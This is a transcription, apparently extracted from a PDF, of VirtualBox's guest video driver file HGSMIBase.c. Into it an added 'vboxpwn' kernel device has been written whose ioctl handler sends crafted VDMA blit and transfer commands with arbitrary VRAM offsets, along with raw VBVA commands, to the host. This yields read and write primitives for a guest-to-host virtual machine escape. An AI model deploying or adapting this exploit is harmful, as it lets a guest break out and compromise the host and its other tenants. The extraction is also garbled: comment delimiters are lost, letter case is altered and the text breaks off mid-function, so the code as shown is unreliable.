/* $Id: HGSMIBase.cpp $ */ * VirtualBox Video driver, common code - HGSMI initialisation and helper * functions. */

Transcription

1 HGSMIBase.c /* $Id: HGSMIBase.cpp $ * VirtualBox Video driver, common code - HGSMI initialisation and helper * functions. /* * Copyright (C) Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. #include <VBox/VBoxVideoGuest.h> #include <VBox/VBoxVideo.h> #include <VBox/VBoxGuest.h> #include <VBox/Hardware/VBoxVideoVBE.h> #include <VBox/VMMDev.h> #include <iprt/asm.h> #include <iprt/log.h> #include <iprt/string.h> #include <linux/printk.h> #include <linux/miscdevice.h> #include <linux/uaccess.h> #include <linux/slab.h> /** Send completion notification to the host for the command located at offset offt into the host command buffer. static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pctx, HGSMIOFFSET offt) VBoxVideoCmnPortWriteUlong(pCtx->port, offt);

2 /** * Inform the host that a command has been handled. * pctx the context containing the heap to be used pvmem pointer into the heap as mapped pctx to the command to * be completed DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pctx, void *pvmem) HGSMIBUFFERHEADER *phdr = HGSMIBufferHeaderFromData(pvMem); HGSMIOFFSET offmem = HGSMIPointerToOffset(&pCtx->areaCtx, phdr); Assert(offMem!= HGSMIOFFSET_VOID); if(offmem!= HGSMIOFFSET_VOID) HGSMINotifyHostCmdComplete(pCtx, offmem); /** Submit an incoming host command to the appropriate handler. static void hgsmihostcmdprocess(phgsmihostcommandcontext pctx, HGSMIOFFSET offbuffer) int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pctx->channels, offbuffer); Assert(!RT_FAILURE(rc)); if(rt_failure(rc)) /* failure means the command was not submitted to the handler for some reason * it's our responsibility to notify its completion in this case HGSMINotifyHostCmdComplete(pCtx, offbuffer); /* if the cmd succeeded it's responsibility of the callback to complete it /** Get the next command from the host. static HGSMIOFFSET hgsmigethostbuffer(phgsmihostcommandcontext pctx) return VBoxVideoCmnPortReadUlong(pCtx->port); /** Get and handle the next command from the host. static void hgsmihostcommandqueryprocess(phgsmihostcommandcontext pctx)

3 HGSMIOFFSET offset = hgsmigethostbuffer(pctx); AssertReturnVoid(offset!= HGSMIOFFSET_VOID); hgsmihostcmdprocess(pctx, offset); /** Drain the host command queue. DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pctx) while (pctx->pfhostflags->u32hostflags & HGSMIHOSTFLAGS_COMMANDS_PENDING) if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false)) return; hgsmihostcommandqueryprocess(pctx); ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false); /** Detect whether HGSMI is supported by the host. DECLHIDDEN(bool) VBoxHGSMIIsSupported(void) uint16_t DispiId; VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID); VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI); DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA); return (DispiId == VBE_DISPI_ID_HGSMI); /** * Allocate and initialise a command descriptor in the guest heap for a * guest-to-host command. * pointer to the descriptor's command data buffer pctx the context containing the heap to be used cbdata the size of the command data to go into the descriptor u8ch the HGSMI channel to be used, set to the descriptor u16op the HGSMI command to be sent, set to the descriptor

4 DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pctx, HGSMISIZE cbdata, uint8_t u8ch, uint16_t u16op) #ifdef VBOX_WDDM_MINIPORT return VBoxSHGSMIHeapAlloc (&pctx->heapctx, cbdata, u8ch, u16op); #else return HGSMIHeapAlloc (&pctx->heapctx, cbdata, u8ch, u16op); #endif /** * Free a descriptor allocated VBoxHGSMIBufferAlloc. * pctx the context containing the heap used pvbuffer the pointer returned VBoxHGSMIBufferAlloc DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pctx, void *pvbuffer) #ifdef VBOX_WDDM_MINIPORT VBoxSHGSMIHeapFree (&pctx->heapctx, pvbuffer); #else HGSMIHeapFree (&pctx->heapctx, pvbuffer); #endif /** * Submit a command descriptor allocated VBoxHGSMIBufferAlloc. * pctx the context containing the heap used pvbuffer the pointer returned VBoxHGSMIBufferAlloc DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pctx, void *pvbuffer) /* Initialize the buffer and get the offset for port IO. HGSMIOFFSET offbuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&pCtx->heapCtx), pvbuffer); Assert(offBuffer!= HGSMIOFFSET_VOID);

5 if (offbuffer!= HGSMIOFFSET_VOID) /* Submit the buffer to the host. VBoxVideoCmnPortWriteUlong(pCtx->port, offbuffer); /* Make the compiler aware that the host has changed memory. ASMCompilerBarrier(); return VINF_SUCCESS; return VERR_INVALID_PARAMETER; /** Inform the host of the location of the host flags in VRAM via an HGSMI * command. static int vboxhgsmireportflagslocation(phgsmiguestcommandcontext pctx, HGSMIOFFSET offlocation) HGSMIBUFFERLOCATION *p; int rc = VINF_SUCCESS; /* Allocate the IO buffer. p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(hgsmibufferlocation), HGSMI_CH_HGSMI, HGSMI_CC_HOST_FLAGS_LOCATION); if (p) /* Prepare data to be sent to the host. p->offlocation = offlocation; p->cblocation = sizeof(hgsmihostflags); rc = VBoxHGSMIBufferSubmit(pCtx, p); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; return rc; /** * Inform the host of the location of the host flags in VRAM via an HGSMI * command.

6 IPRT status value. VERR_NOT_IMPLEMENTED if the host does not support the command. VERR_NO_MEMORY if a heap allocation fails. pctx the context of the guest heap to use. offlocation the offset chosen for the flags withing guest * VRAM. DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pctx, HGSMIOFFSET offlocation) return vboxhgsmireportflagslocation(pctx, offlocation); /** Notify the host of HGSMI-related guest capabilities via an HGSMI command. static int vboxhgsmisendcapsinfo(phgsmiguestcommandcontext pctx, uint32_t fcaps) VBVACAPS *pcaps; int rc = VINF_SUCCESS; /* Allocate the IO buffer. pcaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvacaps), HGSMI_CH_VBVA, VBVA_INFO_CAPS); if (pcaps) /* Prepare data to be sent to the host. pcaps->rc = VERR_NOT_IMPLEMENTED; pcaps->fcaps = fcaps; rc = VBoxHGSMIBufferSubmit(pCtx, pcaps); if (RT_SUCCESS(rc)) AssertRC(pCaps->rc); rc = pcaps->rc; /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, pcaps); else rc = VERR_NO_MEMORY; return rc;

7 /** * Notify the host of HGSMI-related guest capabilities via an HGSMI command. IPRT status value. VERR_NOT_IMPLEMENTED if the host does not support the command. VERR_NO_MEMORY if a heap allocation fails. pctx the context of the guest heap to use. fcaps the capabilities to report, see VBVACAPS. DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t fcaps) return vboxhgsmisendcapsinfo(pctx, fcaps); /** Tell the host about the location of the area of VRAM set aside for the host * heap. static int vboxhgsmireporthostarea(phgsmiguestcommandcontext pctx, uint32_t u32areaoffset, uint32_t u32areasize) VBVAINFOHEAP *p; int rc = VINF_SUCCESS; /* Allocate the IO buffer. p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx, sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA, VBVA_INFO_HEAP); if (p) /* Prepare data to be sent to the host. p->u32heapoffset = u32areaoffset; p->u32heapsize = u32areasize; rc = VBoxHGSMIBufferSubmit(pCtx, p); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; return rc;

8 /** * Get the information needed to map the basic communication structures in * device memory into our address space. All pointer parameters are optional. * cbvram how much video RAM is allocated to the device poffvrambasemapping where to save the offset from the start of the * device VRAM of the whole area to map pcbmapping where to save the mapping size poffguestheapmemory where to save the offset into the mapped area * of the guest heap backing memory pcbguestheapmemory where to save the size of the guest heap * backing memory poffhostflags where to save the offset into the mapped area * of the host flags DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbvram, uint32_t *poffvrambasemapping, uint32_t *pcbmapping, uint32_t *poffguestheapmemory, uint32_t *pcbguestheapmemory, uint32_t *poffhostflags) AssertPtrNullReturnVoid(poffVRAMBaseMapping); AssertPtrNullReturnVoid(pcbMapping); AssertPtrNullReturnVoid(poffGuestHeapMemory); AssertPtrNullReturnVoid(pcbGuestHeapMemory); AssertPtrNullReturnVoid(poffHostFlags); if (poffvrambasemapping) *poffvrambasemapping = cbvram - VBVA_ADAPTER_INFORMATION_SIZE; if (pcbmapping) *pcbmapping = VBVA_ADAPTER_INFORMATION_SIZE; if (poffguestheapmemory) *poffguestheapmemory = 0; if (pcbguestheapmemory) *pcbguestheapmemory = VBVA_ADAPTER_INFORMATION_SIZE - sizeof(hgsmihostflags); if (poffhostflags) *poffhostflags = VBVA_ADAPTER_INFORMATION_SIZE - sizeof(hgsmihostflags); typedef struct VBOXVDMACBUF_DR

9 uint16_t fflags; uint16_t cbbuf; /* RT_SUCCESS() - on success * VERR_INTERRUPTED - on preemption * VERR_xxx - on error int32_t rc; union uint64_t phbuf; VBOXVIDEOOFFSET offvrambuf; Location; uint64_t aguestdata[7]; VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR; typedef struct VBOXVDMACMD VBOXVDMACMD_TYPE enmtype; uint32_t u32cmdspecific; VBOXVDMACMD, *PVBOXVDMACMD; // Data structures for BPB_TRANSFER typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER uint32_t cbtransfersize; uint32_t fflags; union uint64_t phbuf; VBOXVIDEOOFFSET offvrambuf; Src; union uint64_t phbuf; VBOXVIDEOOFFSET offvrambuf; Dst; VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER; // Data structures for PRESENT_BLT typedef enum VBOXVDMA_PIXEL_FORMAT_UNKNOWN = 0, VBOXVDMA_PIXEL_FORMAT_R8G8B8 = 20, VBOXVDMA_PIXEL_FORMAT_A8R8G8B8 = 21,

10 VBOXVDMA_PIXEL_FORMAT_X8R8G8B8 = 22, VBOXVDMA_PIXEL_FORMAT_R5G6B5 = 23, VBOXVDMA_PIXEL_FORMAT_X1R5G5B5 = 24, VBOXVDMA_PIXEL_FORMAT_A1R5G5B5 = 25, VBOXVDMA_PIXEL_FORMAT_A4R4G4B4 = 26, VBOXVDMA_PIXEL_FORMAT_R3G3B2 = 27, VBOXVDMA_PIXEL_FORMAT_A8 = 28, VBOXVDMA_PIXEL_FORMAT_A8R3G3B2 = 29, VBOXVDMA_PIXEL_FORMAT_X4R4G4B4 = 30, VBOXVDMA_PIXEL_FORMAT_A2B10G10R10 = 31, VBOXVDMA_PIXEL_FORMAT_A8B8G8R8 = 32, VBOXVDMA_PIXEL_FORMAT_X8B8G8R8 = 33, VBOXVDMA_PIXEL_FORMAT_G16R16 = 34, VBOXVDMA_PIXEL_FORMAT_A2R10G10B10 = 35, VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36, VBOXVDMA_PIXEL_FORMAT_A8P8 = 40, VBOXVDMA_PIXEL_FORMAT_P8 = 41, VBOXVDMA_PIXEL_FORMAT_L8 = 50, VBOXVDMA_PIXEL_FORMAT_A8L8 = 51, VBOXVDMA_PIXEL_FORMAT_A4L4 = 52, VBOXVDMA_PIXEL_FORMAT_V8U8 = 60, VBOXVDMA_PIXEL_FORMAT_L6V5U5 = 61, VBOXVDMA_PIXEL_FORMAT_X8L8V8U8 = 62, VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8 = 63, VBOXVDMA_PIXEL_FORMAT_V16U16 = 64, VBOXVDMA_PIXEL_FORMAT_W11V11U10 = 65, VBOXVDMA_PIXEL_FORMAT_A2W10V10U10 = 67 VBOXVDMA_PIXEL_FORMAT; typedef struct VBOXVDMA_SURF_DESC uint32_t width; uint32_t height; VBOXVDMA_PIXEL_FORMAT format; uint32_t bpp; uint32_t pitch; uint32_t fflags; VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC; typedef struct VBOXVDMA_RECTL int16_t left; int16_t top; uint16_t width;

11 uint16_t height; VBOXVDMA_RECTL, *PVBOXVDMA_RECTL; typedef struct VBOXVDMACMD_DMA_PRESENT_BLT VBOXVIDEOOFFSET offsrc; VBOXVIDEOOFFSET offdst; VBOXVDMA_SURF_DESC srcdesc; VBOXVDMA_SURF_DESC dstdesc; VBOXVDMA_RECTL srcrectl; VBOXVDMA_RECTL dstrectl; uint32_t u32reserved; uint32_t cdstsubrects; VBOXVDMA_RECTL adstsubrects[1]; VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT; PHGSMIGUESTCOMMANDCONTEXT g_hgsmicontext; char* g_vram; typedef struct PwnRequest uint32_t type; // 1/4 == read, 2/5 == write, 3 == custom VBVA command, // 6 == get VRAM size uint32_t size; uint64_t offset; char data[1]; PwnRequest; static long pwnioctl(struct file *pfilp, unsigned int ucmd, unsigned long ularg) printk("handling ioctl()\n"); uint32_t size = ucmd; PwnRequest* req = (PwnRequest*)ulArg; if (size < 16) printk("request buffer too small (is=%d)\n", size); return -EINVAL; if (req->type == 1) char *p; printk("preparing VMDA command for reading %u bytes (offset=%lu).\n", req->size, req->offset); uint32_t header_size =

12 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_present_blt); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memset(p + header_size, 0x41, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff; PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT ; PVBOXVDMACMD_DMA_PRESENT_BLT pblt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pblt->cdstsubrects = 0; pblt->offsrc = req->offset; pblt->offdst = p - g_vram + header_size; pblt->srcrectl.width = 1; pblt->srcrectl.height = req->size; pblt->srcrectl.left = 0; pblt->srcrectl.top = 0; pblt->dstrectl.width = 1; pblt->dstrectl.height = req->size; pblt->dstrectl.left = 0; pblt->dstrectl.top = 0; pblt->srcdesc.width = 1; pblt->srcdesc.height = req->size; pblt->srcdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->srcdesc.bpp = 1;

13 pblt->srcdesc.pitch = 1; pblt->srcdesc.fflags = 0; pblt->dstdesc.width = 1; pblt->dstdesc.height = req->size; pblt->dstdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->dstdesc.bpp = 1; pblt->dstdesc.pitch = 1; pblt->dstdesc.fflags = 0; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VMDA command: %d\n", rc); return -EFAULT; memcpy(req->data, p+header_size, req->size); else if (req->type == 2) char *p; printk("preparing VMDA command for writing %u bytes (offset=%lu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_present_blt); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memcpy(p + header_size, req->data, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff;

14 PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT ; PVBOXVDMACMD_DMA_PRESENT_BLT pblt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pblt->cdstsubrects = 0; pblt->offsrc = p - g_vram + header_size; pblt->offdst = req->offset; pblt->srcrectl.width = 1; pblt->srcrectl.height = req->size; pblt->srcrectl.left = 0; pblt->srcrectl.top = 0; pblt->dstrectl.width = 1; pblt->dstrectl.height = req->size; pblt->dstrectl.left = 0; pblt->dstrectl.top = 0; pblt->srcdesc.width = 1; pblt->srcdesc.height = req->size; pblt->srcdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->srcdesc.bpp = 1; pblt->srcdesc.pitch = 1; pblt->srcdesc.fflags = 0; pblt->dstdesc.width = 1; pblt->dstdesc.height = req->size; pblt->dstdesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8; pblt->dstdesc.bpp = 1; pblt->dstdesc.pitch = 1; pblt->dstdesc.fflags = 0; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VMDA command: %d\n", rc); return -EFAULT; else if (req->type == 3) char *p; printk("sending custom VBVA command (size=%u).\n", req->size);

15 p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, req->size, HGSMI_CH_VBVA, req->offset); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memcpy(p, req->data, req->size); int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VBVA command: %d\n", rc); return -EFAULT; else if (req->type == 4) char *p; printk("preparing BpbTransfer command for reading %u bytes (offset=%llu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_bpb_transfer); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memset(p + header_size, 0x41, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff;

16 PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER ; PVBOXVDMACMD_DMA_BPB_TRANSFER pbpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pbpb->cbtransfersize = req->size; pbpb->fflags = 3; pbpb->src.offvrambuf = req->offset; pbpb->dst.offvrambuf = p - g_vram + header_size; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VDMA command: %d\n", rc); return -EFAULT; memcpy(req->data, p+header_size, req->size); else if (req->type == 5) char *p; printk("preparing BpbTransfer command for writing %u bytes (offset=%llu).\n", req->size, req->offset); uint32_t header_size = 32 + sizeof(vboxvdmacbuf_dr) + sizeof(vboxvdmacmd) + sizeof(vboxvdmacmd_dma_bpb_transfer); p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, header_size + req->size, HGSMI_CH_VBVA, 11 /*VBVA_VDMA_CMD); if (!p) printk("failed to allocate HGSMI memory\n"); return -ENOMEM; memcpy(p + header_size, req->data, req->size); PVBOXVDMACBUF_DR pcmd = (PVBOXVDMACBUF_DR)(p+32); pcmd->fflags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR; pcmd->cbbuf = 0xffff;

17 PVBOXVDMACMD pdmacmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(vboxvdmacbuf_dr)); pdmacmd->enmtype = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER ; PVBOXVDMACMD_DMA_BPB_TRANSFER pbpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(vboxvdmacmd)); pbpb->cbtransfersize = req->size; pbpb->fflags = 3; pbpb->dst.offvrambuf = req->offset; pbpb->src.offvrambuf = p - g_vram + header_size; int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); VBoxHGSMIBufferFree(g_hgsmiContext, p); if (RT_FAILURE(rc)) printk("error while sending VDMA command: %d\n", rc); return -EFAULT; memcpy(req->data, p+header_size, req->size); else if (req->type == 6) printk("getting VRAM size\n"); uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA); memcpy(req->data, &vram_size, sizeof vram_size); else printk("unknown request type: %d\n", req->type); return -EFAULT; return 0; static struct file_operations g_pwnfileops = owner: THIS_MODULE, unlocked_ioctl: pwnioctl, ; static struct miscdevice g_pwndevice = minor: MISC_DYNAMIC_MINOR, name: "vboxpwn", fops: &g_pwnfileops, ;

18 /** * Set up the HGSMI guest-to-host command context. iprt status value pctx the context to set up pvguestheapmemory a pointer to the mapped backing memory for * the guest heap cbguestheapmemory the size of the backing memory area offvramguestheapmemory the offset of the memory pointed to by pvguestheapmemory within the video RAM DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pctx, void *pvguestheapmemory, uint32_t cbguestheapmemory, uint32_t offvramguestheapmemory, const HGSMIENV *penv) g_vram = (char*)pvguestheapmemory - offvramguestheapmemory; g_hgsmicontext = pctx; printk("registering device node. 0x%016lx\n", g_vram); if (!misc_register(&g_pwndevice)) printk("successfully created pwn device.\n"); else printk("error creating pwn device.\n"); should we be using a fixed ISA port value here? pctx->port = (RTIOPORT)VGA_PORT_HGSMI_GUEST; #ifdef VBOX_WDDM_MINIPORT return VBoxSHGSMIInit(&pCtx->heapCtx, pvguestheapmemory, cbguestheapmemory, offvramguestheapmemory, penv); #else return HGSMIHeapSetup(&pCtx->heapCtx, pvguestheapmemory, cbguestheapmemory, offvramguestheapmemory, penv); #endif /** * Get the information needed to map the area used by the host to send back * requests. * pctx the context containing the heap to use

19 cbvram how much video RAM is allocated to the device offvrambasemapping the offset of the basic communication structures * into the guest's VRAM poffvramhostarea where to store the offset into VRAM of the host * heap area pcbhostarea where to store the size of the host heap area DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t cbvram, uint32_t offvrambasemapping, uint32_t *poffvramhostarea, uint32_t *pcbhostarea) uint32_t offvramhostarea = offvrambasemapping, cbhostarea = 0; AssertPtrReturnVoid(poffVRAMHostArea); AssertPtrReturnVoid(pcbHostArea); VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &cbhostarea); if (cbhostarea!= 0) uint32_t cbhostareamaxsize = cbvram / 4; what is the idea of this? if (cbhostareamaxsize >= VBVA_ADAPTER_INFORMATION_SIZE) cbhostareamaxsize -= VBVA_ADAPTER_INFORMATION_SIZE; if (cbhostarea > cbhostareamaxsize) cbhostarea = cbhostareamaxsize; /* Round up to 4096 bytes. cbhostarea = (cbhostarea + 0xFFF) & ~0xFFF; offvramhostarea = offvrambasemapping - cbhostarea; *pcbhostarea = cbhostarea; *poffvramhostarea = offvramhostarea; LogFunc(("offVRAMHostArea = 0x%08X, cbhostarea = 0x%08X\n", offvramhostarea, cbhostarea)); /** * Initialise the host context structure.

20 * pctx the context structure to initialise pvbasemapping where the basic HGSMI structures are mapped at offhostflags the offset of the host flags into the basic HGSMI * structures pvhostareamapping where the area for the host heap is mapped at offvramhostarea offset of the host heap area into VRAM cbhostarea size in bytes of the host heap area DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pctx, void *pvbasemapping, uint32_t offhostflags, void *pvhostareamapping, uint32_t offvramhostarea, uint32_t cbhostarea) uint8_t *pu8hostflags = ((uint8_t *)pvbasemapping) + offhostflags; pctx->pfhostflags = (HGSMIHOSTFLAGS *)pu8hostflags; should we really be using a fixed ISA port value here? pctx->port = (RTIOPORT)VGA_PORT_HGSMI_HOST; HGSMIAreaInitialize(&pCtx->areaCtx, pvhostareamapping, cbhostarea, offvramhostarea); /** * Tell the host about the ways it can use to communicate back to us via an * HGSMI command * iprt status value pctx the context containing the heap to use offvramflagslocation where we wish the host to place its flags * relative to the start of the VRAM fcaps additions HGSMI capabilities the guest * supports offvramhostarea offset into VRAM of the host heap area cbhostarea size in bytes of the host heap area DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pctx, HGSMIOFFSET offvramflagslocation, uint32_t fcaps, uint32_t offvramhostarea, uint32_t cbhostarea)

21 Log(("VBoxVideo::vboxSetupAdapterInfo\n")); /* setup the flags first to ensure they are initialized by the time the * host heap is ready int rc = vboxhgsmireportflagslocation(pctx, offvramflagslocation); AssertRC(rc); if (RT_SUCCESS(rc) && fcaps) /* Inform about caps rc = vboxhgsmisendcapsinfo(pctx, fcaps); AssertRC(rc); if (RT_SUCCESS (rc)) /* Report the host heap location. rc = vboxhgsmireporthostarea(pctx, offvramhostarea, cbhostarea); AssertRC(rc); Log(("VBoxVideo::vboxSetupAdapterInfo finished rc = %d\n", rc)); return rc; /** Sanity test on first call. We do not worry about concurrency issues. static int testqueryconf(phgsmiguestcommandcontext pctx) static bool conce = false; uint32_t ulvalue = 0; int rc; if (conce) return VINF_SUCCESS; conce = true; rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &ulvalue); if (RT_SUCCESS(rc) && ulvalue == UINT32_MAX) return VINF_SUCCESS; conce = false; if (RT_FAILURE(rc)) return rc; return VERR_INTERNAL_ERROR; /**

22 * Query the host for an HGSMI configuration parameter via an HGSMI command. iprt status value pctx the context containing the heap used u32index the index of the parameter to query, VBVACONF32::u32Index u32defvalue defaut value pulvalue where to store the value of the parameter on success DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t u32index, uint32_t u32defvalue, uint32_t *pulvalue) int rc = VINF_SUCCESS; VBVACONF32 *p; LogFunc(("u32Index = %d\n", u32index)); rc = testqueryconf(pctx); if (RT_FAILURE(rc)) return rc; /* Allocate the IO buffer. p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvaconf32), HGSMI_CH_VBVA, VBVA_QUERY_CONF32); if (p) /* Prepare data to be sent to the host. p->u32index = u32index; p->u32value = u32defvalue; rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) *pulvalue = p->u32value; LogFunc(("u32Value = %d\n", p->u32value)); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; LogFunc(("rc = %d\n", rc)); return rc; DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pctx,

23 uint32_t u32index, uint32_t *pulvalue) return VBoxQueryConfHGSMIDef(pCtx, u32index, UINT32_MAX, pulvalue); /** * Pass the host a new mouse pointer shape via an HGSMI command. * success or failure fflags cursor VMMDevReqMousePointer::fFlags chotx horizontal position of the hot spot choty vertical position of the hot spot cwidth width in pixels of the cursor cheight height in pixels of the cursor ppixels pixel VMMDevReqMousePointer for the format cblength size in bytes of the pixel data DECLHIDDEN(int) VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pctx, uint32_t fflags, uint32_t chotx, uint32_t choty, uint32_t cwidth, uint32_t cheight, uint8_t *ppixels, uint32_t cblength) VBVAMOUSEPOINTERSHAPE *p; uint32_t cbdata = 0; int rc = VINF_SUCCESS; if (fflags & VBOX_MOUSE_POINTER_SHAPE) /* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) cbdata = ((((cwidth + 7) / 8) * cheight + 3) & ~3) + cwidth * 4 * cheight; /* If shape is supplied, then always create the pointer visible. * See comments in 'vboxupdatepointershape' fflags = VBOX_MOUSE_POINTER_VISIBLE; LogFlowFunc(("cbData %d, %dx%d\n", cbdata, cwidth, cheight)); if (cbdata > cblength) LogFunc(("calculated pointer data size is too big (%d bytes, limit %d)\n",

